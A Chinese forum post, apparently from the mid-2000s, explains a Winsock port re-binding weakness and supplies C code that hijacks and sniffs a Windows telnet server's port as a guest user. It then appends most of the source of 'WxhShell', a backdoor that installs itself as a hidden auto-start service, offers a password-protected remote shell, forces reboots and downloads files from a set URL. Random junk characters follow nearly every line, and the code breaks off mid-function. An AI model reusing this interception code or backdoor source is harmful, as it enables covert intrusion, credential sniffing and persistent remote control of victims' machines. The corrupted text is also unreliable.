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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ob}XeN(L3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =;E0PB_w  
M'F<1(  
  saddr.sin_family = AF_INET; c{KJNH%7  
s|`wi}"x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6> z{xYat  
VR\}*@pNp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M"bG(a(6:  
+\)Y,@cw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vU]n0)<KB  
@LSh=o+  
  这意味着什么?意味着可以进行如下的攻击: =\oL'>q  
#dD0vYT&od  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %QEyvl4  
L]u^$=rI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P}qpy\/(4  
Px9 K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  ; (A-  
scYqU7$%T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6:6A" A  
YDj5+'y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 08D:2 z1z  
FSAX , Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O:GAS [O`  
os&FrtDg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vxLr034  
>,h{`  
  #include #TO^x&3@  
  #include ByO?qft>u  
  #include m7C!}l]9  
  #include    ;R Jv7@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k7;i^$@c  
  int main() /wl]kGF  
  { Px Gw5:  
  WORD wVersionRequested; >(wQx05^D  
  DWORD ret; VJFFH\!`  
  WSADATA wsaData; dv+ZxP%g  
  BOOL val; }/,Rp/+7]  
  SOCKADDR_IN saddr; R!lug;u#  
  SOCKADDR_IN scaddr; RA;/ ?l  
  int err; -sZb+2tDa  
  SOCKET s; G%AO%II  
  SOCKET sc; EWgJ"WTF  
  int caddsize; R/*"N'nH-%  
  HANDLE mt; &43c/T Sb  
  DWORD tid;   ~G-W|>  
  wVersionRequested = MAKEWORD( 2, 2 ); 9 wbQ$>G9  
  err = WSAStartup( wVersionRequested, &wsaData ); BV }CmU&DA  
  if ( err != 0 ) { YOj&1ymBZ  
  printf("error!WSAStartup failed!\n"); &/ED.K  
  return -1; RqP_^tB  
  } &q9=0So4\  
  saddr.sin_family = AF_INET; ^y KkWB*  
   R5%CK_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [#RFdn<  
5E1`qof  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ",J&UTUh  
  saddr.sin_port = htons(23); `b]wyP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Uzc p  
  { %KkC1.yu<  
  printf("error!socket failed!\n"); `JpFqZ'58  
  return -1; 6vR6=@(`>  
  } hayJgkZ '  
  val = TRUE; }!R*Q`m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LExm#T`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !{+.)%d'g  
  { \AH5 zdK  
  printf("error!setsockopt failed!\n");  _cj=}!I  
  return -1; 0"T/a1S7bl  
  } ,+4T7 UR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ViMl{3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aq8./^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UnP<`z#  
(GC5r#AnS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]'M B3@T  
  { UcOP 0_/  
  ret=GetLastError(); +,AzxP _y  
  printf("error!bind failed!\n"); 8ih_S2Cd  
  return -1; D7JrGaF{  
  } :KA)4[#;W  
  listen(s,2); ) \TH'  
  while(1) h6^|f%\w*i  
  { sgGA0af  
  caddsize = sizeof(scaddr); -,T!/E  
  //接受连接请求 V,0$mBYa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wf"GA i  
  if(sc!=INVALID_SOCKET) & rD8ng+$  
  { 0Xw>_#Y/xS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s-+-?$K  
  if(mt==NULL) C.ji]P#  
  { {i?G:K  
  printf("Thread Creat Failed!\n"); ge.>#1f}  
  break; KK2YT/K$SG  
  } {*TB }Xsr,  
  } -m=A1~|7  
  CloseHandle(mt); ~;H,cPvrEg  
  } 9d-'%Q>+  
  closesocket(s); 3S]Q IZ1  
  WSACleanup(); =_zo  
  return 0; 8.N`^Nj 1  
  }   /|P{t{^WM  
  DWORD WINAPI ClientThread(LPVOID lpParam) k'H[aYMA  
  { 6kLy!QS  
  SOCKET ss = (SOCKET)lpParam; /j}Tv.'d  
  SOCKET sc; *AQ3RA8  
  unsigned char buf[4096]; =E%@8ZbK  
  SOCKADDR_IN saddr; zIu/!aw  
  long num; * jWh4F,  
  DWORD val; Z_xQ2uH$:  
  DWORD ret; n8=D zv0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8IQ}%|lN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +hr|$  
  saddr.sin_family = AF_INET; l!Xj UnRF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ky,upU  
  saddr.sin_port = htons(23); `PL}8ydZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N>"L2E=z$|  
  { Z_4%Oi  
  printf("error!socket failed!\n"); *AW v  
  return -1; fW+ "Kuw  
  } {d;z3AB  
  val = 100; IF|;;*Z8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T$%QK?B  
  { : slO0  
  ret = GetLastError(); 9?hZf$z  
  return -1; jS[=Zx`  
  } $w{d4")  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'uDx$AkY  
  { Ui (nMEon  
  ret = GetLastError(); Fj~suZ`  
  return -1; %aMC[i  
  } G$V=\60a-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `x#S. b  
  { .24z+|j  
  printf("error!socket connect failed!\n"); 0RMW>v/7kL  
  closesocket(sc); hk:>*B}  
  closesocket(ss); sL~4 ~178  
  return -1; !E?+1WDS0  
  } E>tHKNyVTp  
  while(1) JfSe; v  
  { zQ{bMj<S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eS@j? Y0y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8P- ay<6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `vAcCahM  
  num = recv(ss,buf,4096,0); rDbtT*vN  
  if(num>0) Gg ~0>XS  
  send(sc,buf,num,0); 1uj~/M  
  else if(num==0) d]O:VghY\  
  break; v+in:\Dv  
  num = recv(sc,buf,4096,0); WA43}CyAe  
  if(num>0) TmLCmy!  
  send(ss,buf,num,0); (1^;l;7H  
  else if(num==0) 6Yodx$  
  break; ud5}jyJ  
  } 3lZl  
  closesocket(ss); SF+L-R<e  
  closesocket(sc); XF)N_}X^  
  return 0 ;  6d;}mhH  
  } J QnaXjW2  
4 xbWDu]  
P4_B.5rrJ  
========================================================== ZwLr>?0$ p  
)G^k$j  
下边附上一个代码,,WXhSHELL 9]lI?j]o  
FsWp>}o  
========================================================== r[}nrH&8  
n ng|m  
#include "stdafx.h" \}=T4w-e  
(:OMt2{r  
#include <stdio.h> }#ta3 x  
#include <string.h> 06%-tAq:  
#include <windows.h> *`u|1}h|  
#include <winsock2.h> 3\j`g  
#include <winsvc.h>  EG`AkWy  
#include <urlmon.h> "J+L]IC?AD  
;6pB7N  
#pragma comment (lib, "Ws2_32.lib") ^-q{:lx  
#pragma comment (lib, "urlmon.lib") r1-MO`6  
 mih}?oi  
#define MAX_USER   100 // 最大客户端连接数 f|w;u!U(  
#define BUF_SOCK   200 // sock buffer P:.jb!ZU  
#define KEY_BUFF   255 // 输入 buffer ^SG>VfgC  
^0|:  
#define REBOOT     0   // 重启 G-9i   
#define SHUTDOWN   1   // 关机 Sxc)~y  
)GVTa4}p  
#define DEF_PORT   5000 // 监听端口 ]R)wBug  
zNt//,={  
#define REG_LEN     16   // 注册表键长度 L%Zr3Ct  
#define SVC_LEN     80   // NT服务名长度 5U7,,oyh  
=l/Dc=[  
// 从dll定义API : H;S"D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |}z5ST%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vA_,TS#Bo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "y"oV[`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \MRd4vufv  
PVlC j  
// wxhshell配置信息 `WL3aI":  
struct WSCFG { lG'D/#  
  int ws_port;         // 监听端口 +`Q]p" G  
  char ws_passstr[REG_LEN]; // 口令 ])F+ C/Px1  
  int ws_autoins;       // 安装标记, 1=yes 0=no e`={_R{N  
  char ws_regname[REG_LEN]; // 注册表键名 oH0g>E;  
  char ws_svcname[REG_LEN]; // 服务名 "*<vE7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "}xIt)n%;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +u$JMp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lBFKfLp&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q>BJ:_I i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9:@Xz5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E~WbV+,3  
]j:k!=Ss?  
}; *Oy* \cX2[  
0;><@{'  
// default Wxhshell configuration Za!KM  
struct WSCFG wscfg={DEF_PORT, ]vf0f,F  
    "xuhuanlingzhe", 3>7{Q_5  
    1, z4BU}`;b3t  
    "Wxhshell", MnFrQC  
    "Wxhshell", 0M;El2 P$  
            "WxhShell Service", QnS^ G{  
    "Wrsky Windows CmdShell Service", ._tEDY/1m  
    "Please Input Your Password: ", 5`fUR/|[  
  1, zo@vuB.  
  "http://www.wrsky.com/wxhshell.exe", 9FSa=<0wE  
  "Wxhshell.exe" mB>0$l y  
    }; lG0CCOdQ  
PZ6R+n8  
// 消息定义模块 :n13v @q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [LjiLKW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Xt""mlQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6T4DuF   
char *msg_ws_ext="\n\rExit."; |g}r  
char *msg_ws_end="\n\rQuit."; 8*/;W&7y  
char *msg_ws_boot="\n\rReboot..."; NbU4|O i  
char *msg_ws_poff="\n\rShutdown..."; s) s9Z,HY  
char *msg_ws_down="\n\rSave to "; 4Us,DS_/  
J1O1! .  
char *msg_ws_err="\n\rErr!"; 5TpvJ1G  
char *msg_ws_ok="\n\rOK!"; >>J$`0kM*  
3AdYZ7J  
char ExeFile[MAX_PATH]; "ADI .  
int nUser = 0;  YC 6guy>  
HANDLE handles[MAX_USER]; ^ wZx=kas  
int OsIsNt; TC<Rg?&yb  
6c^?DLy9B  
SERVICE_STATUS       serviceStatus; t|oIzjKE/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hzqgsmT)  
!l#aq\:}~e  
// 函数声明 i?pd|J  
int Install(void); ;\A_-a_(#  
int Uninstall(void); 8%;Wyqdf]  
int DownloadFile(char *sURL, SOCKET wsh); rQT%~oM:  
int Boot(int flag); LYYz=oZOE!  
void HideProc(void); e?;c9]XO,o  
int GetOsVer(void); .u ikte  
int Wxhshell(SOCKET wsl); +2:HgW  
void TalkWithClient(void *cs); . U6(>6-  
int CmdShell(SOCKET sock); y7h^_D+Ce  
int StartFromService(void); >ryA:TO{  
int StartWxhshell(LPSTR lpCmdLine); "#pxZ B=  
,(h -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -?#iPvk6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o9| OL  
Z}0{FwW"4  
// 数据结构和表定义 M .6BFC  
SERVICE_TABLE_ENTRY DispatchTable[] = bR~Xog  
{ TDk[,4  
{wscfg.ws_svcname, NTServiceMain}, 8 0nu^ _  
{NULL, NULL} 8*b{8%<K  
}; T&/ n.-@nk  
2dHO!A$RF  
// 自我安装 I@VzH(da\  
int Install(void) {Lv"wec*x  
{ :F6dXW  
  char svExeFile[MAX_PATH]; h`9 & :zr  
  HKEY key; :+\sKEzL  
  strcpy(svExeFile,ExeFile); i^:#*Q-co  
a8)2I~j  
// 如果是win9x系统,修改注册表设为自启动 c oZK  
if(!OsIsNt) { ,aezMbg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q}\\0ajS)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Zbr e5&aU  
  RegCloseKey(key); `'iO+/;GY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m.ka%h$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r$4d4xtK  
  RegCloseKey(key); gp$]0~[tO  
  return 0; 0OG 3#pE  
    } *[ 0,QEy  
  } 71E~~$  
} 0s//&'*Q  
else { Yg5o!A  
o` QH8  
// 如果是NT以上系统,安装为系统服务 yR{rje*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ))dqC l  
if (schSCManager!=0) *"_W1}^  
{ pLF,rOb  
  SC_HANDLE schService = CreateService $FT6c@&y  
  ( _\IA[-C+O  
  schSCManager, /,~]1&?}1  
  wscfg.ws_svcname, ,f)+|?wz  
  wscfg.ws_svcdisp, X6B,Mply  
  SERVICE_ALL_ACCESS, ]vR Ol.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ex~"M&^  
  SERVICE_AUTO_START, 32 j){[PL3  
  SERVICE_ERROR_NORMAL, 0 5?`W&:9  
  svExeFile, F> Ika=z,  
  NULL, 8VU(+%X  
  NULL, =os!^{p7>  
  NULL, JDa_;bqL  
  NULL, )O*h79t^Q  
  NULL y[Dgyt  
  ); ;{wzw8!  
  if (schService!=0) t5b c Q@Y  
  { @kDY c8 t9  
  CloseServiceHandle(schService); _-{=Z=?6}  
  CloseServiceHandle(schSCManager); 1+3-Z>^e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3TjyKB *!  
  strcat(svExeFile,wscfg.ws_svcname); DU,B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; m |N 9'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kc$W"J@  
  RegCloseKey(key); .1^ Kk3  
  return 0; ncUhCp?'  
    } so.}WU  
  } 9k62_]w@6  
  CloseServiceHandle(schSCManager); qh}+b^Wi  
}  = v?V  
} LdiNXyyzet  
O+'k4  
return 1; n87Uf$  
} s+ *LVfau  
&'PLOyWw  
// 自我卸载 L?a4>uVY  
int Uninstall(void) 2\64~a^  
{ 6&~Z3|<e  
  HKEY key; M/F <W!  
'Q]Wk75  
if(!OsIsNt) { @HI@PZ>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t vW0 W  
  RegDeleteValue(key,wscfg.ws_regname); $u,A/7\s  
  RegCloseKey(key); B&KIM{j\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BUi,+NdIk  
  RegDeleteValue(key,wscfg.ws_regname); rKOa9M  
  RegCloseKey(key); TL"+Iv2]/$  
  return 0; #NMQN*J>D  
  } @pJ;L1sn  
} )9/iH(  
} %( %EEt  
else { AYoTCi%7E  
"\~>[on  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iV@\v0k  
if (schSCManager!=0) g=v'[JPd  
{ &,Rye Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7?_g m>]a  
  if (schService!=0) k&K'FaM!  
  { K",Xe>  
  if(DeleteService(schService)!=0) { v'`qn  
  CloseServiceHandle(schService); eUu<q/FUMj  
  CloseServiceHandle(schSCManager); ~(c<M>Q8  
  return 0; :SMf (E 5  
  } 1z,P"?Q  
  CloseServiceHandle(schService); Um-Xb'R*]V  
  } x>K,{{B)X  
  CloseServiceHandle(schSCManager); F2(^O Fh  
} cF9ZnT.  
} 4},Y0QXw  
eA(FWO  
return 1; y^X]q[-?  
} 8c%N+E]  
j{t r''yN  
// 从指定url下载文件 w9x5IRWk  
int DownloadFile(char *sURL, SOCKET wsh) E 6Uj8]P`  
{ z+0#H39&  
  HRESULT hr; s"tH?m )6  
char seps[]= "/"; S?'L%%Vo  
char *token; |a\,([aU  
char *file; HmsXV_B8[Y  
char myURL[MAX_PATH]; @YS,)U)4S  
char myFILE[MAX_PATH]; RSM+si/  
m\=Cw&(  
strcpy(myURL,sURL); RWDPsZC  
  token=strtok(myURL,seps); uE,T Ea9;  
  while(token!=NULL) ^MhMYA  
  { B/~ubw  
    file=token; Gh3f^PWnc  
  token=strtok(NULL,seps); Mg^A,8lrm  
  } YWANBM(v+  
p NQ@aJ  
GetCurrentDirectory(MAX_PATH,myFILE); &=Y%4 vq  
strcat(myFILE, "\\"); 8JMxA2tZhG  
strcat(myFILE, file); n-wOLH  
  send(wsh,myFILE,strlen(myFILE),0); H\<PGC"_Y  
send(wsh,"...",3,0); |`I9K#w3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u!VrMH  
  if(hr==S_OK) 3][   
return 0; us:v/WTQ  
else op&j4R  
return 1; S!R (ae^}  
`X =[ m>  
} +).=}.k  
>k}Kf1I  
// 系统电源模块 }g2l ni  
int Boot(int flag) G" (ck4  
{ S =sL:FC  
  HANDLE hToken; ZM=eiJZ  
  TOKEN_PRIVILEGES tkp; hJ8B&u(  
.b2%n;_>.  
  if(OsIsNt) { 'Ze& LQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bg|=)sw4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -HFyNk]>  
    tkp.PrivilegeCount = 1; h9. Yux  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sn;q:e3i{A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $z@nT.x5  
if(flag==REBOOT) { m Le 70U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jlD3SF~2  
  return 0; r)G)i;;~*  
} yzG BGC  
else { .+ic6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +sd':vE  
  return 0; U!lWP#m  
} R~d Wblv  
  } EiA_9%<  
  else { ar`}+2Qh0  
if(flag==REBOOT) { 2m&?t_W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /w*HxtwFmD  
  return 0; eX^ F^(   
} p,)pz_M  
else {  t|:XSJ9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fow{-cs_p  
  return 0; E3_ 5~>  
} ~~,#<g[  
}  n4AQ  
ab_EH}j1\q  
return 1; vb\R~%@T,  
} V#DNcF~v]f  
O;#0Yg  
// win9x进程隐藏模块 ,z$ U=u o  
void HideProc(void) z&|sks7  
{ H)+wkR!~  
[lj^lN8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lR]SGdY  
  if ( hKernel != NULL ) hl+ T  
  { 1~*JenV-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %bTXu1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *&F~<HC2+  
    FreeLibrary(hKernel); 73E[O5?b  
  } t(- 5l  
~0{F,R.$  
return; vqwSOh|P9  
} #X<s_.7DJ  
`]l[p+DO  
// 获取操作系统版本 {/qq*0wa  
int GetOsVer(void) 9q<?xO  
{ ^0"[l {  
  OSVERSIONINFO winfo; /gLi(Uw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Zu^J X/um  
  GetVersionEx(&winfo); $Mqw)X&q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ARid   
  return 1; kc"SUiy/  
  else _ 3jY,*  
  return 0; onUF@3V  
} ZOHGGO]1M  
`S/;S<';  
// 客户端句柄模块 a#P{[  
int Wxhshell(SOCKET wsl) r1xhplHH@  
{ -;[,`g(f  
  SOCKET wsh; AkV8}>G?#A  
  struct sockaddr_in client; Y/n],(t)  
  DWORD myID; '$be+Z32  
ljO t~@Ea  
  while(nUser<MAX_USER) 3C;nC?]K  
{ :]IY w!_-p  
  int nSize=sizeof(client); _i1x\Z~ N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kT{d pGU9  
  if(wsh==INVALID_SOCKET) return 1; f!##R-A  
G(7WUMjl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9GVv[/NAb  
if(handles[nUser]==0) C%kIxa)  
  closesocket(wsh); @EB2I+[  
else Z;GZ?NOlY  
  nUser++; h-RL`X  
  } | <l=i(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R;2 Z~P  
]s:%joj%^  
  return 0; #vvQ 1ub  
} ;*8,PV0b_<  
!qVnziE,,  
// 关闭 socket 8 gzf$Oc  
void CloseIt(SOCKET wsh) p EbyQ[  
{ S9S%7pE  
closesocket(wsh); .t|B6n!  
nUser--; VpmD1YSn  
ExitThread(0); G>c:+`KS  
} CN<EgNt1kN  
i6D66E  
// 客户端请求句柄 Kh2!c+Mw  
void TalkWithClient(void *cs) S -KHot ?  
{ $n@B:kv5p  
L)j<;{J/Q0  
  SOCKET wsh=(SOCKET)cs; MFm2p?zPm  
  char pwd[SVC_LEN]; <ULydBom  
  char cmd[KEY_BUFF]; K-drN)o  
char chr[1]; +OC~y:  
int i,j; q`^ T7  
E >lW'  
  while (nUser < MAX_USER) { k'JfXrW<!  
=-|,v*  
if(wscfg.ws_passstr) { O4fl$egQU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %.VFj7J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T:(c/ >  
  //ZeroMemory(pwd,KEY_BUFF); whvvc2  
      i=0; I9;,qd%<T  
  while(i<SVC_LEN) { `E2HQA@  
Z`Sbq{Kx  
  // 设置超时 rRzc"W}K+  
  fd_set FdRead; _iZ_.3 Ip  
  struct timeval TimeOut; ky-9I<Z,,  
  FD_ZERO(&FdRead); dw]jF=u  
  FD_SET(wsh,&FdRead); ._IBO;*@  
  TimeOut.tv_sec=8; hTVA^j(w  
  TimeOut.tv_usec=0; r;c ILS|Xr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 79O'S du@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VgyY7INx9  
<m X EX`?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x l4A<  
  pwd=chr[0]; Pmj%QhOYE  
  if(chr[0]==0xd || chr[0]==0xa) { +1=]93gP  
  pwd=0; -{rUE +  
  break; bL]NSD  
  } |Y&&g=7  
  i++; j0+l-]F-  
    } E|v9khN(].  
XPQY*.l&.  
  // 如果是非法用户,关闭 socket ;_Z[' %  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $I }k>F  
} DZE@C^ 0%  
_?QVc0S!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #9ZHt5T=$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U/l3C(bc!  
!{%BfZX<&  
while(1) { dNfME*"yN  
>s|zr S)  
  ZeroMemory(cmd,KEY_BUFF); X/' t1  
w=feXA3-S  
      // 自动支持客户端 telnet标准   EwKFT FL  
  j=0; {kNV|E  
  while(j<KEY_BUFF) { N(=Z4Nk5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ap|$8 G  
  cmd[j]=chr[0]; %UokR"  
  if(chr[0]==0xa || chr[0]==0xd) { 1E]TH/JK  
  cmd[j]=0; * faG0le  
  break; S5>?j n1  
  } ft><Ql3  
  j++; r!e:sJAB.  
    } zqt{oN_  
Sahz*f  
  // 下载文件 9qvKg`YSh  
  if(strstr(cmd,"http://")) { r: -,qy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); % "CF-K@th  
  if(DownloadFile(cmd,wsh)) f'?FYBL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9O@DF&*6  
  else <b#1L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Z2^smf  
  } o4F(X0  
  else { ALXie86a8  
7w51UmO  
    switch(cmd[0]) { P}8cSX9  
  R;3n L[{U  
  // 帮助 ^bG91"0A  
  case '?': { !@3"vd{^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _`.Wib+  
    break; Ev>P|k V&A  
  } @ q:S]YB   
  // 安装 &5d~ODO  
  case 'i': { ;(r,;S_`0  
    if(Install()) 5u=>~yK+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X([p0W 9V(  
    else :` >bh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {j[a'Gb  
    break; JBk >|q"  
    } ^aR^M\38  
  // 卸载 []b= xRJM  
  case 'r': { b>]k=zd  
    if(Uninstall()) [PX%p ;"D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e82xBLxR%  
    else )0?u_Z]w9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MnTJFo"  
    break; &t:~e" 5<  
    } AjD? _DPc  
  // 显示 wxhshell 所在路径 ^?5HagA  
  case 'p': { #Oi{7~  
    char svExeFile[MAX_PATH]; D=@bPB>  
    strcpy(svExeFile,"\n\r"); sZPyEIXie  
      strcat(svExeFile,ExeFile); F[KM0t!  
        send(wsh,svExeFile,strlen(svExeFile),0); ~yiw{:\  
    break; O;+ sAt  
    } +vt?3i\^.  
  // 重启 N$N 7aE$  
  case 'b': { Ruv`yfQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bXi(]5  
    if(Boot(REBOOT)) of8 >xvE|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [*U.bRs  
    else { T~8kKw  
    closesocket(wsh); =$SvKzN  
    ExitThread(0); :!yPR  
    } XaF;IS@A  
    break; r;_*.|AH  
    } KAg-M#  
  // 关机 aGNb  Cm  
  case 'd': { UM2yv6:/  
